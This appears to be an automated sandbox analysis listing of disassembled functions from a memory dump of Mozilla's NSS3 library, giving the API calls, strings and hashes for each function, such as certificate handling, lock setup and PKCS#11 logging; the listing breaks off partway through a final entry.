API String ID: 1003633598-1612141141
Opcode ID: d5a6d0013ff0874d62b5fb377fb190b031a25da52aae4c9081eecf1c82c7b6fc
Instruction ID: d747821f1bf9ee41906814b888f04a02e339709963f3ee60cea5dded599e88dd
Opcode Fuzzy Hash: d5a6d0013ff0874d62b5fb377fb190b031a25da52aae4c9081eecf1c82c7b6fc
Instruction Fuzzy Hash: 3841F535E12154EFDF508FA0DD88F8A7BB1EB4630DF598468E8085BB11D732AC19CBA1

Function 6CE99FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE99FBE

Part of subcall function 6CE72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE72F0A
Part of subcall function 6CE72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE72F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE9A015

Part of subcall function 6CEB1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CEB563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CEB195C
Part of subcall function 6CEB1940: EnterCriticalSection.KERNEL32(?,?,6CEB563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE8EAC5,00000001), ref: 6CEB1970
Part of subcall function 6CEB1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE8EAC5,00000001,?,6CE8CE9B,00000001,6CE8EAC5), ref: 6CEB19A0

PL_FreeArenaPool.NSS3(?), ref: 6CE9A067
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE9A055

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9A07E
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE9A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CE9A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CE9A0CF
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE9A12E
PL_FreeArenaPool.NSS3(?), ref: 6CE9A140
PL_FinishArenaPool.NSS3(?), ref: 6CE9A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9A158
PL_FinishArenaPool.NSS3(?), ref: 6CE9A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CE9A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE9A1B2
free.MOZGLUE(00000000), ref: 6CE9A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CE9A1D6

Part of subcall function 6CEB55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE8EAC5,00000001,?,6CE8CE9B,00000001,6CE8EAC5,00000003,-00000004,00000000,?,6CE8EAC5), ref: 6CEB5627
Part of subcall function 6CEB55E0: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0,?,?,?,?,?,?,?,?,?,?,6CE8EAC5,00000001,?,6CE8CE9B), ref: 6CEB564F
Part of subcall function 6CEB55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE8EAC5,00000001), ref: 6CEB5661
Part of subcall function 6CEB55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE8EAC5), ref: 6CEB56AF

Strings

security, xrefs: 6CE9A00F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: bee757c1f87e2f203e5e4dac465f205ede3a1dc71f7126fd0c581910d8784c3f
Instruction ID: 6418ccd7152d7b8d3377842e03998005c35028fb89ef5b404a729b6d1525fbde
Opcode Fuzzy Hash: bee757c1f87e2f203e5e4dac465f205ede3a1dc71f7126fd0c581910d8784c3f
Instruction Fuzzy Hash: B351FCB1D402056BEB109BA5DD45FAF7378BF4170CF314528E805ABB41E776E90AC7A2

Function 6CEB4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEB4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CEB4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4DB7

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

TlsGetValue.KERNEL32 ref: 6CEB4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CEB4DEC
PR_Unlock.NSS3(?), ref: 6CEB4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CEB4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CEB4E71
free.MOZGLUE(00000000), ref: 6CEB4E7A
PR_Unlock.NSS3(?), ref: 6CEB4EA2
TlsGetValue.KERNEL32 ref: 6CEB4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CEB4ED6
PR_Unlock.NSS3(?), ref: 6CEB4F01
free.MOZGLUE(00000000), ref: 6CEB4F2A

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: efd2691a4c0740f70c56f5373c586e8d2e5a1f851b0ff8400e8db549186f10f8
Instruction ID: 3895742c99a51bb75cb1fe4a2efa0b0775d4de95d2b3581fcdc77cdaff05c7d7
Opcode Fuzzy Hash: efd2691a4c0740f70c56f5373c586e8d2e5a1f851b0ff8400e8db549186f10f8
Instruction Fuzzy Hash: 15B10275E002059FEB41EF68D944BAA77B4BF0631CF24412AED05ABB01E734EA65CBD1

Function 6CEBFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFB4

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFC6

Part of subcall function 6CF398D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF39946
Part of subcall function 6CF398D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDF16B7,00000000), ref: 6CF3994E
Part of subcall function 6CF398D0: free.MOZGLUE(00000000), ref: 6CF3995E

PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFD6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFE6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFF6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0006
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0016
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0026
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0036
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0046
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0056
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0066
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0076
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0086
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0096
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00A6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00B6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00C6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00D6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00E6

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 45cbacba62531246aa38b0ffe57f20343f517b431ec0917183b188d6510a9861
Instruction ID: ac7b3c49cc0893d22f8310d7c9887b35372058a58d450092eacf3e3e96a389e8
Opcode Fuzzy Hash: 45cbacba62531246aa38b0ffe57f20343f517b431ec0917183b188d6510a9861
Instruction Fuzzy Hash: 473128F0E21624AE8BC6DF75C1483493AB4B75760A750711ADC0887702DFB62A4EDFE5

Function 6CF06E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CF06BF7), ref: 6CF06EB6

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CFAFC0A,6CF06BF7), ref: 6CF06ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF06EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CF06EFC
PR_NewLock.NSS3 ref: 6CF06F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF06F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CF06BF7), ref: 6CF06F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CF06BF7), ref: 6CF06F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CF06BF7), ref: 6CF06FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CF06BF7), ref: 6CF06FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6CF06EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CF06F4F
SSLFORCELOCKS, xrefs: 6CF06F2B
SSLKEYLOGFILE, xrefs: 6CF06EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CF06FF8
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CF06FDB

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: ef8c6e2e91eef0fb32aa4a97e51d112f5b419316b3a32433bbf39d7d4d9e1138
Instruction ID: 3f8b280e6e3f01210b3d6d131be40a478fafb2339efd05186cc36ca93377c8a5
Opcode Fuzzy Hash: ef8c6e2e91eef0fb32aa4a97e51d112f5b419316b3a32433bbf39d7d4d9e1138
Instruction Fuzzy Hash: 21A1F7B3F6599187F7504A3CCC2134533B2AB9372AF6843ABE831C7ED4DB75A4809641

Function 6CE85DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE85DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE85E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE85E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE85E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE85EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE85ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE85F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE85F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE85F89
free.MOZGLUE(?), ref: 6CE85FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE85FB6
free.MOZGLUE(00000000), ref: 6CE85FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE8600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE86079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE86084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE86094

Strings

, xrefs: 6CE85EEB

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: dc0a4925e37bb16d5f8ac235572c6eeb313cbdccd844cf557de83e7274cdc2ae
Instruction ID: 34bd405583d0eeb515deb896a0371ee877053ea69236e97ca57506700dd23f92
Opcode Fuzzy Hash: dc0a4925e37bb16d5f8ac235572c6eeb313cbdccd844cf557de83e7274cdc2ae
Instruction Fuzzy Hash: 5581D771E032059BEB108A64CD857AE77B5AF4531CF244528E81EA7791EB31E905CBE2

Function 6CEA6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CEA6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA6DC3

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEA6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEA6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CEA6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CEA6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CEA6EB9

Strings

hSession = 0x%x, xrefs: 6CEA6D9E, 6CEA6DAE
ulDataLen = %d, xrefs: 6CEA6E0E
pDigest = 0x%p, xrefs: 6CEA6E27
pulDigestLen = 0x%p, xrefs: 6CEA6E42
*pulDigestLen = 0x%x, xrefs: 6CEA6EB4
(CK_INVALID_HANDLE), xrefs: 6CEA6DBC
C_Digest, xrefs: 6CEA6D81
pData = 0x%p, xrefs: 6CEA6DF5

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: e6980257783408d3020117c3085cec77bdaeb30469ad5e6b75887f155d0134df
Instruction ID: 3c86c798064f1f10a951a5734fc8fbb1ac43977a0312842893c794bdd1392737
Opcode Fuzzy Hash: e6980257783408d3020117c3085cec77bdaeb30469ad5e6b75887f155d0134df
Instruction Fuzzy Hash: 1141F735A12014EFDB009FA8DD4DF8A7BB5AB4770CF558058E8089BB11DB32AD09CBD2

Function 6CEA9C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CEA9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA9CA3

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CEA9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEA9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEA9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CEA9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CEA9D42

Strings

hSession = 0x%x, xrefs: 6CEA9C7E, 6CEA9C8E
userType = 0x%x, xrefs: 6CEA9CD5
ulPinLen = %d, xrefs: 6CEA9D0B
pPin = 0x%p, xrefs: 6CEA9CF0
C_LoginUser, xrefs: 6CEA9C61
ulUsernameLen = %d, xrefs: 6CEA9D3D
(CK_INVALID_HANDLE), xrefs: 6CEA9C9C
pUsername = 0x%p, xrefs: 6CEA9D24

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 32c3d6b08536485beb3c1aa1e6c6eb5f67b6810e62960da9bb265d8ad37a4af3
Instruction ID: 6746c927bde610b6b2eaa621ca86bb853d20ddd823223c6de5f8edc9720623e8
Opcode Fuzzy Hash: 32c3d6b08536485beb3c1aa1e6c6eb5f67b6810e62960da9bb265d8ad37a4af3
Instruction Fuzzy Hash: C841D731A12154FFDB009FA0DD48F8A7BB1AB4630DF558059E8086F711D732AD59CB92

Function 6CE61FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE62007
calloc.MOZGLUE(00000001,00000084), ref: 6CE62077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE620DF
TlsSetValue.KERNEL32(00000000), ref: 6CE62188
PR_NewCondVar.NSS3 ref: 6CE621B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE6221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE622C2
GetLastError.KERNEL32 ref: 6CE622CD
free.MOZGLUE(00000000), ref: 6CE622DD

Part of subcall function 6CE60F00: PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B
Part of subcall function 6CE60F00: PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: a55d63ea09162fa468e2cd55e66e2c5ae5b55f276f05da6a4766d46132577250
Instruction ID: 15df9b62df265c7a930efce6a8549f102a9afa89d46bc4f5f553d5cc9e43f8e1
Opcode Fuzzy Hash: a55d63ea09162fa468e2cd55e66e2c5ae5b55f276f05da6a4766d46132577250
Instruction Fuzzy Hash: 47916BB0BA17019FDBA0DF39C80D75B7AF4BB1A708F24442AE45AD7E40DB71A509CB91

Function 6CF89C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF89C70
PR_NewLock.NSS3 ref: 6CF89C85

